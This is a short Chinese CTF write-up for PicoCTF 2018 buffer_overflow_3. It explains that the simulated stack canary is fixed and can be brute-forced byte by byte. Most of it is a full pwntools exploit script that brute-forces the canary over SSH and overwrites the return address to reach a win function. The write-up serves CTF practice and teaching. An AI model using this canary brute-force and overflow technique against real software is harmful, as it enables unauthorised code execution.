前置知识
canary
绕过思想
整体思路
查看程序,发现其模拟了一个canary
的检测过程。
在正常情况下,canary
有效防止栈溢出的原因是它是随机的。而本题中模拟的canary
从文件读取,显然是固定的。
因此本题思路是按字节爆破canary
(由于是32
位程序,只有4
字节)即可。
exp
from pwn import *
from LibcSearcher import *
filename = './PicoCTF_2018_buffer_overflow_3'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
# sh = remote('node4.buuoj.cn', )
login = ssh(user='CTFMan', host='node5.buuoj.cn', port=26809, password='guest')
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def get_sh():
sh = login.process('./vuln')
return sh
def get_canary():
canary = b''
payload_raw = b'a'*0x20
count = 0
flag = 0
while True:
for i in range(256):
sh = get_sh()
sh.sendlineafter('> ', str(0x1000))
payload = payload_raw + p8(i)
sh.sendafter('Input> ', payload)
output = sh.recvline()
if b"Now Where's the Flag" in output:
canary += p8(i)
payload_raw += p8(i)
count += 1
if count == 4:
flag = 1
break
sh.close()
if flag:
break
with open('canary_found.txt', 'wb') as f:
f.write(canary)
def exp():
sh = get_sh()
with open('canary_found.txt', 'rb') as f:
canary = f.read()
win_addr = 0x80486eb
payload = b'a'*0x20 + canary + b'a'*0x10 + p32(win_addr)
sh.sendlineafter('> ', str(0x1000))
sh.sendafter('Input> ', payload)
sh.recv()
get_canary()
exp()